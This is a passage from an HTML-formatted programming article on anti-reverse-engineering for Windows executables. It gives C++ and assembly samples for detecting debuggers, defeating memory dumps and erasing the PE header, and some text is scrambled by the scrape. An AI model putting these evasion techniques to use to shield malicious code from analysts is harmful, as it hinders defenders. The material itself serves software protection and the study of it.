UnhandledExceptionFilter&lt;/span&gt;&lt;br /&gt;   SetUnhandledExceptionFilter((LPTOP_LEVEL_EXCEPTION_FILTER)&lt;br /&gt;         pExcepPointers-&lt;span class="code-keyword"&gt;&gt;&lt;/span&gt;ContextRecord-&lt;span class="code-keyword"&gt;&gt;&lt;/span&gt;Eax);&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Skip the exception code&lt;/span&gt;&lt;br /&gt;   pExcepPointers-&lt;span class="code-keyword"&gt;&gt;&lt;/span&gt;ContextRecord-&lt;span class="code-keyword"&gt;&gt;&lt;/span&gt;Eip += &lt;span class="code-digit"&gt;2&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;return&lt;/span&gt; EXCEPTION_CONTINUE_EXECUTION;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span class="code-keyword"&gt;int&lt;/span&gt; main()&lt;br /&gt;{&lt;br /&gt;   SetUnhandledExceptionFilter(UnhandledExcepFilter);&lt;br /&gt;   &lt;span class="code-keyword"&gt;__asm&lt;/span&gt;{xor eax, eax}&lt;br /&gt;   &lt;span class="code-keyword"&gt;__asm&lt;/span&gt;{div eax}&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Execution resumes here if there is no debugger&lt;/span&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; or if there is a debugger it will never&lt;/span&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; reach this point of execution&lt;/span&gt;&lt;br /&gt;}&lt;/span&gt;&lt;/pre&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="NtQueryObject"&gt;&lt;/a&gt;NtQueryObject&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;The &lt;code&gt;NtQueryObject&lt;/code&gt; function, when called with the &lt;code&gt;ObjectAllTypesInformation&lt;/code&gt; class, will return information about the host system and the current process. There is a wealth of information to be mined from this function, but we're most concerned with the information given about the &lt;code&gt;DebugObject&lt;/code&gt;s in the environment. In Windows XP and Vista, a &lt;code&gt;DebugObject&lt;/code&gt; entry is maintained in this list of objects, and most importantly, the number of objects of each type of object. The object and its related information can be expressed as a &lt;code&gt;OBJECT_INFORMATION_TYPE&lt;/code&gt; struct. However, calling the &lt;code&gt;NtQueryObject&lt;/code&gt; function with the &lt;code&gt;ObjectAllTypesInformation&lt;/code&gt; class actually returns a buffer that begins with a &lt;code&gt;OBJECT_TYPE_INFORMATION&lt;/code&gt; struct. However, there is more than one &lt;code&gt;OBJECT_INFORMATION_TYPE&lt;/code&gt; entry, and traversing the buffer containing these entries isn't as straightforward as array indexing. The source shows that the next &lt;code&gt;OBJECT_INFORMATION_TYPE&lt;/code&gt; struct lies after the previous' &lt;code&gt;UNICODE_STRING.Buffer&lt;/code&gt; entry. These structs are also padded and &lt;code&gt;DWORD&lt;/code&gt;&lt;/span&gt; aligned; refer to the source to examine how to navigate the buffer.&lt;/p&gt; &lt;div class="SmallText" id="premain16" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse16" style="margin-bottom: 0px; cursor: pointer;" preid="16"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="16"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre16" style="margin-top: 0px; font-family: arial;" lang="cpp"&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="code-keyword"&gt;typedef&lt;/span&gt; &lt;span class="code-keyword"&gt;struct&lt;/span&gt; _OBJECT_TYPE_INFORMATION {&lt;br /&gt;   UNICODE_STRING TypeName;&lt;br /&gt;   ULONG TotalNumberOfHandles;&lt;br /&gt;   ULONG TotalNumberOfObjects;&lt;br /&gt;}OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;&lt;br /&gt;&lt;br /&gt;&lt;span class="code-keyword"&gt;typedef&lt;/span&gt; &lt;span class="code-keyword"&gt;struct&lt;/span&gt; _OBJECT_TYPE_INFORMATION {&lt;br /&gt;   UNICODE_STRING TypeName;&lt;br /&gt;   ULONG TotalNumberOfHandles;&lt;br /&gt;   ULONG TotalNumberOfObjects;&lt;br /&gt;}OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;&lt;br /&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; ObjectListCheck uses NtQueryObject to check the environments&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; list of objects and more specifically for the number of&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; debug objects. This function can cause an exception (although rarely)&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; so either surround it in a try catch or __try __except block&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; but that shouldn't happen unless one tinkers with the function&lt;/span&gt;&lt;br /&gt;&lt;span class="code-keyword"&gt;inline&lt;/span&gt; &lt;span class="code-keyword"&gt;bool&lt;/span&gt; ObjectListCheck()&lt;br /&gt;{&lt;br /&gt;   &lt;span class="code-keyword"&gt;typedef&lt;/span&gt; NTSTATUS(NTAPI *pNtQueryObject)&lt;br /&gt;           (HANDLE, UINT, PVOID, ULONG, PULONG);&lt;br /&gt;&lt;br /&gt;   POBJECT_ALL_INFORMATION pObjectAllInfo = NULL;&lt;br /&gt;   &lt;span class="code-keyword"&gt;void&lt;/span&gt; *pMemory = NULL;&lt;br /&gt;   NTSTATUS Status;&lt;br /&gt;   &lt;span class="code-keyword"&gt;unsigned&lt;/span&gt; &lt;span class="code-keyword"&gt;long&lt;/span&gt; Size = &lt;span class="code-digit"&gt;0&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Get NtQueryObject&lt;/span&gt;&lt;br /&gt;   pNtQueryObject NtQO = (pNtQueryObject)GetProcAddress(&lt;br /&gt;               GetModuleHandle( TEXT( &lt;span class="code-string"&gt;"&lt;/span&gt;&lt;span class="code-string"&gt;ntdll.dll"&lt;/span&gt; ) ),&lt;br /&gt;               &lt;span class="code-string"&gt;"&lt;/span&gt;&lt;span class="code-string"&gt;NtQueryObject"&lt;/span&gt; );&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Get the size of the list&lt;/span&gt;&lt;br /&gt;   Status = NtQO(NULL, &lt;span class="code-digit"&gt;3&lt;/span&gt;, &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt;ObjectAllTypesInformation&lt;/span&gt;&lt;br /&gt;                       &amp;amp;Size, &lt;span class="code-digit"&gt;4&lt;/span&gt;, &amp;amp;Size);&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Allocate room for the list&lt;/span&gt;&lt;br /&gt;   pMemory = VirtualAlloc(NULL, Size, MEM_RESERVE | MEM_COMMIT,&lt;br /&gt;                   PAGE_READWRITE);&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;if&lt;/span&gt;(pMemory == NULL)&lt;br /&gt;       &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;false&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Now we can actually retrieve the list&lt;/span&gt;&lt;br /&gt;   Status = NtQO((HANDLE)-&lt;span class="code-digit"&gt;1&lt;/span&gt;, &lt;span class="code-digit"&gt;3&lt;/span&gt;, pMemory, Size, NULL);&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Status != STATUS_SUCCESS&lt;/span&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;if&lt;/span&gt; (Status != 0x00000000)&lt;br /&gt;   {&lt;br /&gt;       VirtualFree(pMemory, &lt;span class="code-digit"&gt;0&lt;/span&gt;, MEM_RELEASE);&lt;br /&gt;       &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;false&lt;/span&gt;;&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; We have the information we need&lt;/span&gt;&lt;br /&gt;   pObjectAllInfo = (POBJECT_ALL_INFORMATION)pMemory;&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;unsigned&lt;/span&gt; &lt;span class="code-keyword"&gt;char&lt;/span&gt; *pObjInfoLocation =&lt;br /&gt;       (&lt;span class="code-keyword"&gt;unsigned&lt;/span&gt; &lt;span class="code-keyword"&gt;char&lt;/span&gt;*)pObjectAllInfo-&lt;span class="code-keyword"&gt;&gt;&lt;/span&gt;ObjectTypeInformation;&lt;br /&gt;&lt;br /&gt;   ULONG NumObjects = pObjectAllInfo-&lt;span class="code-keyword"&gt;&gt;&lt;/span&gt;NumberOfObjects;&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;for&lt;/span&gt;(UINT i = &lt;span class="code-digit"&gt;0&lt;/span&gt;; i &lt;span class="code-keyword"&gt;&lt;&lt;/span&gt; NumObjects; i++)&lt;br /&gt;   {&lt;br /&gt;&lt;br /&gt;       POBJECT_TYPE_INFORMATION pObjectTypeInfo =&lt;br /&gt;           (POBJECT_TYPE_INFORMATION)pObjInfoLocation;&lt;br /&gt;&lt;br /&gt;       &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; The debug object will always be present&lt;/span&gt;&lt;br /&gt;       &lt;span class="code-keyword"&gt;if&lt;/span&gt; (wcscmp(L&lt;span class="code-string"&gt;"&lt;/span&gt;&lt;span class="code-string"&gt;DebugObject"&lt;/span&gt;, pObjectTypeInfo-&lt;span class="code-keyword"&gt;&gt;&lt;/span&gt;TypeName.Buffer) == &lt;span class="code-digit"&gt;0&lt;/span&gt;)&lt;br /&gt;       {&lt;br /&gt;           &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Are there any objects?&lt;/span&gt;&lt;br /&gt;           &lt;span class="code-keyword"&gt;if&lt;/span&gt; (pObjectTypeInfo-&lt;span class="code-keyword"&gt;&gt;&lt;/span&gt;TotalNumberOfObjects &lt;span class="code-keyword"&gt;&gt;&lt;/span&gt; &lt;span class="code-digit"&gt;0&lt;/span&gt;)&lt;br /&gt;           {&lt;br /&gt;               VirtualFree(pMemory, &lt;span class="code-digit"&gt;0&lt;/span&gt;, MEM_RELEASE);&lt;br /&gt;               &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;true&lt;/span&gt;;&lt;br /&gt;           }&lt;br /&gt;           &lt;span class="code-keyword"&gt;else&lt;/span&gt;&lt;br /&gt;           {&lt;br /&gt;               VirtualFree(pMemory, &lt;span class="code-digit"&gt;0&lt;/span&gt;, MEM_RELEASE);&lt;br /&gt;               &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;false&lt;/span&gt;;&lt;br /&gt;           }&lt;br /&gt;       }&lt;br /&gt;&lt;br /&gt;       &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Get the address of the current entries&lt;/span&gt;&lt;br /&gt;       &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; string so we can find the end&lt;/span&gt;&lt;br /&gt;       pObjInfoLocation =&lt;br /&gt;           (&lt;span class="code-keyword"&gt;unsigned&lt;/span&gt; &lt;span class="code-keyword"&gt;char&lt;/span&gt;*)pObjectTypeInfo-&lt;span class="code-keyword"&gt;&gt;&lt;/span&gt;TypeName.Buffer;&lt;br /&gt;&lt;br /&gt;       &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Add the size&lt;/span&gt;&lt;br /&gt;       pObjInfoLocation +=&lt;br /&gt;               pObjectTypeInfo-&lt;span class="code-keyword"&gt;&gt;&lt;/span&gt;TypeName.Length;&lt;br /&gt;&lt;br /&gt;       &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Skip the trailing null and alignment bytes&lt;/span&gt;&lt;br /&gt;       ULONG tmp = ((ULONG)pObjInfoLocation) &amp;amp; -&lt;span class="code-digit"&gt;4&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;       &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Not pretty but it works&lt;/span&gt;&lt;br /&gt;       pObjInfoLocation = ((&lt;span class="code-keyword"&gt;unsigned&lt;/span&gt; &lt;span class="code-keyword"&gt;char&lt;/span&gt;*)tmp) +&lt;br /&gt;                       &lt;span class="code-keyword"&gt;sizeof&lt;/span&gt;(&lt;span class="code-keyword"&gt;unsigned&lt;/span&gt; &lt;span class="code-keyword"&gt;long&lt;/span&gt;);&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;   VirtualFree(pMemory, &lt;span class="code-digit"&gt;0&lt;/span&gt;, MEM_RELEASE);&lt;br /&gt;   &lt;span class="code-keyword"&gt;return&lt;/span&gt; &lt;span class="code-keyword"&gt;true&lt;/span&gt;;&lt;br /&gt;}&lt;/span&gt;&lt;/pre&gt; &lt;h2 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="AntiDumping"&gt;&lt;/a&gt;Anti-Dumping&lt;/span&gt;&lt;/h2&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;"Dumping", a special term used in the reverse engineering realm, describes the process of taking an executable that has been protected and after the executable has been decrypted into memory, taking what is essentially a snapshot of the program and saving it onto disk, as shown by the following diagram. There are many techniques to prevent the dumping of an executable file that has been encrypted or compressed, and the following techniques are some of the more popular or better documented methods.&lt;/span&gt;&lt;/p&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/KB/security/AntiReverseEngineering/AntiDumping.png" style="cursor: pointer;" onclick="popview(this)" width="534" height="296" /&gt;&lt;/span&gt;&lt;/p&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="Nanomites"&gt;&lt;/a&gt;Nanomites&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;I find this technique to be very interesting, and it works by replacing certain branch instructions, J&lt;em&gt;cc&lt;/em&gt;&lt;code lang="asm"&gt;INT &lt;span class="code-digit"&gt;3&lt;/span&gt;&lt;/code&gt; breakpoints; information about the removed jumps is then stored in a heavily encrypted table. This information includes the destination of the jump, the required CPU flags, and the size of the jump (normally, either two or five bytes). Then, by using self-debugging, when one of these breakpoints is hit, the debugging process will handle the debug exception, and will look up certain information about the debugging break. This information is whether or not the breakpoint is a Nanomite or a real debug breakpoint, whether or not the jump should be taken (this includes comparing the &lt;code lang="asm"&gt;EFLAGS&lt;/code&gt; registers appropriately for the jump type, i.e.., JNZ needs ZF = 0). If it is, then the address of the jump is retrieved and the execution in the debuggee will resume from there, and if it is not, then the length of the replaced jump is retrieved, and the size of that specific jump is skipped in the debuggee, and execution resumes. Now, to make things even worse, random &lt;code lang="asm"&gt;INT &lt;span class="code-digit"&gt;3&lt;/span&gt;&lt;/code&gt; instructions will be placed at unreachable parts of codes, and entries will be made in the Nanomite table. There are even entries that do not have a corresponding &lt;code lang="asm"&gt;INT &lt;span class="code-digit"&gt;3&lt;/span&gt;&lt;/code&gt; but are placed there to annoy reverse engineers. When used in the correct places inside an executable, this technique is very powerful, and has almost no impact on performance. Unfortunately, the source code for this technique is far too complicated for this article.&lt;/span&gt; instructions, within a program with &lt;/p&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="StolenBytes"&gt;&lt;/a&gt;Stolen Bytes (Stolen Code)&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;This is a technique introduced by &lt;em&gt;ASprotect&lt;/em&gt;, and can be entertaining to someone who has never encountered the method. In the stolen bytes routine, code or bytes from the original process protected by the packer are removed, often from the OEP (Original Entry Point), and are encrypted somewhere inside the packing code. The area where the bytes are is then replaced with code that will jump to a dynamically allocated buffer that contains the decrypted bytes that were "stolen" from the original code; this buffer also contains a jump back to the appropriate address of execution. More often than not, both the area were the bytes were removed from and the dynamically allocated buffer where the original bytes reside are filled with junk code and even more anti-reverse engineering techniques. This can be a powerful technique if the underlying concept is hidden from the reverse engineer; otherwise, it's not too hard to fix.&lt;/span&gt;&lt;/p&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="SizeOfImage"&gt;&lt;/a&gt;SizeOfImage&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;code&gt;SizeOfImage&lt;/code&gt; is a field in &lt;code&gt;IMAGE_OPTION_HEADER&lt;/code&gt; of a PE file, and by increasing the size of this field in the PEB at runtime, we can cause problems for tools that weren't developed to handle this problem. This method is easily applied to an application, and is easily defeated by reversing applications by enumerating all pages with the &lt;code&gt;MEM_IMAGE&lt;/code&gt; flag, starting at the application's &lt;code&gt;ImageBase&lt;/code&gt; page. This works because there cannot be a gap in the pages in memory. Here is some sample code:&lt;/span&gt;&lt;/p&gt; &lt;div class="SmallText" id="premain17" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse17" style="margin-bottom: 0px; cursor: pointer;" preid="17"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="17"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre17" style="margin-top: 0px; font-family: arial;" lang="cpp"&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Any unreasonably large value will work say for example 0x100000 or 100,000h&lt;/span&gt;&lt;br /&gt;&lt;span class="code-keyword"&gt;void&lt;/span&gt; ChangeSizeOfImage(DWORD NewSize)&lt;br /&gt;{&lt;br /&gt;   &lt;span class="code-keyword"&gt;__asm&lt;/span&gt;&lt;br /&gt;   {&lt;br /&gt;       mov eax, fs:[0x30] &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; PEB&lt;/span&gt;&lt;br /&gt;       mov eax, [eax + 0x0c] &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; PEB_LDR_DATA&lt;/span&gt;&lt;br /&gt;       mov eax, [eax + 0x0c] &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; InOrderModuleList&lt;/span&gt;&lt;br /&gt;       mov dword ptr [eax + 0x20], NewSize &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; SizeOfImage&lt;/span&gt;&lt;br /&gt;   }&lt;br /&gt;}&lt;/span&gt;&lt;/pre&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="VirtualMachines"&gt;&lt;/a&gt;Virtual Machines&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;Virtualization is considered the future of anti-reverse engineering, and has very much already made it into the present. Protectors like Themida and VMProtect already use virtual machines in their protection schemes. The simple use of virtual machines isn't the extent of the technique, however. Themida, for example, uses a technology that creates a unique virtual machine for &lt;strong&gt;every&lt;/strong&gt; protected executable that utilizes the virtual machine protection. By implementing virtual machines this way, Themida prevents the use of a generic attack against its virtualization protection. Also, many protection schemes that utilize virtual machines often implement junk code instructions in their virtual machine byte code, much like junk code is inserted in native IA-32 code (Ferrie).&lt;/span&gt;&lt;/p&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="GuardPages"&gt;&lt;/a&gt;Guard Pages&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;Packers and protectors can utilize guard pages to implement, what is in essence, an on-demand decryption/decompression system. When the executable is loaded into memory instead of decompressing/decrypting the entire contents of the file at run-time, the protector will simply mark all pages that were not immediately needed as guard pages. After that is done, when another section of code or data is needed, an &lt;code&gt;EXCEPTION_GUARD_PAGE&lt;/code&gt; (0x80000001) exception will be raised, and the data can be decrypted or decompressed either from file or from encrypted/compressed contents in memory.&lt;/span&gt;&lt;/p&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;This technique has been implemented in two ways, one by hooking &lt;code&gt;KiUserUserDispatcher&lt;/code&gt;&lt;code&gt;KiUserUserDispatcher&lt;/code&gt;, to find where the exception occurred and if the exception occurred in the process space of the protected executable; if it was, then the contents will be decompressed from the disk into the page where the program is either expecting data or executable code. Utilizing this technique can significantly reduce loading times and reduce memory usage for an executable file, because only pages that are needed are ever backed by physical memory (RAM), and only the pages that need to be used are decompressed and decrypted.&lt;/span&gt; (Shrinker), and by using Self-Debugging (Armadillo's CopyMemoryII) (Ferrie). In the case of Shrinker, when an exception is raised, a check is made, from the hook placed on &lt;/p&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;Armadillo also implements this technique under the name of CopyMemII, and it behaves in a similar fashion with the exception that it requires the use of self-debbugging; also, instead of having empty pages and loading the pages from disk, CopyMemII simply decompresses the pages into memory. Note that this does not decrypt the pages; therefore, the code and data is still secure. Then, when a page that has not been decrypted is accessed, an &lt;code&gt;EXCEPTION_GUARD_PAGE&lt;/code&gt; (0x80000001) exception will be raised, and the process that is the debugger will catch the exception and decrypt the page as needed. There is, however, a weakness in Armadillo's implementation of the technique, and that is that once a page is decrypted, it will stay decrypted in memory. By exploiting this weakness, a reverse engineer could force the process to touch every page needed by the program and leave the entire program decrypted in memory and in perfect shape for a dump. In both implementations of this technique, the processes will only decrypt or decompress a page at a time; therefore, if an access spans more than one page, the protector will simply allow for the next exception to occur and decrypt that page. As a final note, if the protectors were to remember the last accessed page and were to discard or erase the last used page before decrypting the next page, then this technique would be extremely powerful.&lt;/span&gt;&lt;/p&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="RemovePEHeader"&gt;&lt;/a&gt;Removing the Portable Executable Header&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;This is a simple anti-dumping technique that removes an executable's portable executable from memory at runtime; by doing this, a dumped image would be missing important information such as the RVA (Relative Virtual Address) of important tables (Reloc, Import, Export etc..), the entry point, and other information that the Windows loader needs to utilize when loading an image. One would want to be careful when utilizing this technique, because the Windows API or maybe legitimate external programs may need access to this information which has been removed.&lt;/span&gt;&lt;/p&gt; &lt;div class="SmallText" id="premain18" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse18" style="margin-bottom: 0px; cursor: pointer;" preid="18"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="18"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre18" style="margin-top: 0px; font-family: arial;" lang="cpp"&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; This function will erase the current images&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; PE header from memory preventing a successful image&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; if dumped&lt;/span&gt;&lt;br /&gt;&lt;span class="code-keyword"&gt;inline&lt;/span&gt; &lt;span class="code-keyword"&gt;void&lt;/span&gt; ErasePEHeaderFromMemory()&lt;br /&gt;{&lt;br /&gt;   DWORD OldProtect = &lt;span class="code-digit"&gt;0&lt;/span&gt;;&lt;br /&gt;  &lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Get base address of module&lt;/span&gt;&lt;br /&gt;   &lt;span class="code-keyword"&gt;char&lt;/span&gt; *pBaseAddr = (&lt;span class="code-keyword"&gt;char&lt;/span&gt;*)GetModuleHandle(NULL);&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Change memory protection&lt;/span&gt;&lt;br /&gt;   VirtualProtect(pBaseAddr, &lt;span class="code-digit"&gt;4096&lt;/span&gt;, &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Assume x86 page size&lt;/span&gt;&lt;br /&gt;           PAGE_READWRITE, &amp;amp;OldProtect);&lt;br /&gt;&lt;br /&gt;   &lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; Erase the header&lt;/span&gt;&lt;br /&gt;   ZeroMemory(pBaseAddr, &lt;span class="code-digit"&gt;4096&lt;/span&gt;);&lt;br /&gt;}&lt;/span&gt;&lt;/pre&gt; &lt;h2 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="IA32Instructions"&gt;&lt;/a&gt;IA-32 Instruction Exploits&lt;/span&gt;&lt;/h2&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;The following techniques take advantage of the problems debuggers have dealing with the IA-32 instructions. Most of these methods are low level techniques that aren't used very often.&lt;/span&gt;&lt;/p&gt; &lt;h3 style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a target="_blank" class="con_link" name="INT2D"&gt;&lt;/a&gt;Interrupt 2D&lt;/span&gt;&lt;/h3&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;The &lt;code lang="asm"&gt;INT 2D&lt;/code&gt; instruction can be used as a general purpose debugger detection method, because when executing the instruction, if no debugger is present, an exception will occur. However, if a debugger is present, no exception will occur, and things get interesting based on the debugger you are using. OllyDBG, as shown in the diagram, will actually skip a byte in its disassembly and will cause the analysis to go wrong. Visual Studio 2008's debugger handles the instruction without issues, and as for other debuggers, we would have to test ourselves.&lt;/span&gt;&lt;/p&gt; &lt;p style="font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/KB/security/AntiReverseEngineering/int2d.png" style="cursor: pointer;" onclick="popview(this)" width="506" height="262" /&gt;&lt;/span&gt;&lt;/p&gt; &lt;div class="SmallText" id="premain19" style="width: 100%; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://www.codeproject.com/images/minus.gif" style="cursor: pointer;" onclick="popview(this)" width="9" height="9" /&gt;&lt;span id="precollapse19" style="margin-bottom: 0px; cursor: pointer;" preid="19"&gt; Collapse&lt;/span&gt;&lt;img src="http://www.codeproject.com/images/copy_16.png" style="cursor: pointer; margin-left: 35px;" onclick="popview(this)" width="16" height="16" /&gt;&lt;a target="_blank" class="con_link" href="http://www.codeproject.com/KB/security/AntiReverseEngineering.aspx#" preid="19"&gt; Copy Code&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;pre id="pre19" style="margin-top: 0px; font-family: arial;" lang="cpp"&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; The Int2DCheck function will check to see if a debugger&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; is attached to the current process. It does this by setting up&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span class="code-comment"&gt; SEH and using the Int 2D instruction which will only cause an&lt;/span&gt;&lt;br /&gt;&lt;span class="code-comment"&gt;//&lt;/span&gt;&lt;span 